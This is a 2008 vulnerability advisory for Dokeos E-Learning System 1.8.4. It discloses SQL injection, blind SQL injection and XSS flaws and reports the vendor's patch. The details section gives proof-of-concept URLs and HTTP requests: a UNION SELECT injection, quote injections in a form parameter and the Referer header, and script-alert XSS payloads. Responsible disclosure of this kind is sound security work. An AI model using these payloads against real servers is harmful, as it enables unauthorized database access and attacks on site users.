Digital Security Research Group [DSecRG] Advisory #DSECRG-08-015 Application: Dokeos E-Learning System Versions Affected: 1.8.4 Vendor URL: http://dokeos.com Bugs: Multiple SQL Injections,Multiple Blind SQL Injections,Multiple XSS, etc. Exploits: YES Reported: 25.01.2008 Vendor response: 28.01.2008 Patch released: 12.02.2008 Date of Public Advisory: 19.02.2008 Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Dokeos E-Learning System system has multiple security vulnerabilities: 1. Multiple SQL Injections 2. Multiple Blind Sql Injections 3. Multiple Stored XSS 4. Multiple Linked XSS 5. Image XSS Details ******* 1. Multiple SQL Injections 1.1 Attacker can inject SQL code in module /whoisonline.php vulnerable parametr id Attacker must have valid user creditionals Example: http://[server]/[installdir]/whoisonline.php?id=1'+and+"dsec"="dsecrg"+u nion+select+user(),version()/* 1.2 Attacker can inject SQL code in module main/mySpace/index.php vulnerable parameter tracking_list_coaches_column Example: http://[server]/[installdir]/main/mySpace/index.php?tracking_list_coache s_direction=ASC&tracking_list_coaches_page_nr=1&tracking_list_coaches_pe r_page=20&view=admin &tracking_list_coaches_column=0'; 1.3 Attacker can inject SQL code in module /dokeos/main/create_course/add_course.php POST Parameter tutor_name Example: POST /dokeos/main/create_course/add_course.php HTTP/1.0 Cookie: dk_sid=av68g9lus300ts870iqebhneh5 Content-Length: 107 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: localhost Content-Type: application/x-www-form-urlencoded Referer: http://localhost/dokeos/main/create_course/add_course.php title=1234&category_code=PROJ&wanted_code=1234&course_language=slovenian &_qf__add_course=& tutor_name=' --------------------------------------------------------------------- 2. Multiple SQL Injections 2.1 Vulnerability found in script index.php in header parameter "Referer" Example: GET /dokeos/index.php HTTP/1.0 Cookie: dk_sid=av68g9lus300ts870iqebhneh5 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: localhost Referer: ' 2.1 Vulnerability found in script /main/admin/class_list.php? in header parameter "X-Fowarded-For" --------------------------------------------------------------------- 3. Stored XSS vulnerability found in /main/auth/inscription.php attacker can inject XSS in POST parameter username --------------------------------------------------------------------- 4. Multiple linked XSS 4.1 Linked XSS vulnerability found in dokeos/main/calendar/myagenda.php attacker can inject XSS in parameter courseCode Example: http://[server]/[installdir]/main/calendar/myagenda.php?courseCode="><sc ript>alert('DSecRG XSS')</script> 4.2 Linked XSS vulnerability found in main/admin/course_category.php attacker can inject XSS in parameter category Example: http://[server]/[installdir]/dokeos/main/admin/course_category.php?categ ory=<script>alert('DSecRG XSS')</script> HTTP/1.0 4.3 Linked XSS vulnerability found in /dokeos/main/admin/session_list.php attacker can inject XSS in parameter cmessage Example: http://[server]/[installdir]/dokeos/main/admin/session_list.php?action=s how_message&message=>%22%27><img/src=javascript:alert('DSecRG XSS')> --------------------------------------------------------------------- 5. Image XSS vulnerability in page main/auth/profile.php attacker can upload avatar picture with XSS code: Example: More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian) --------------------------------------------------------------------- Fix Information *************** Vendor fix this flaw on 12.02.2008. Patch for version 1.8.4 can be downloaded here: http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.4_SP2_download About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) Digital Security Research Group mailto:research (at) dsec (dot) ru [email concealed]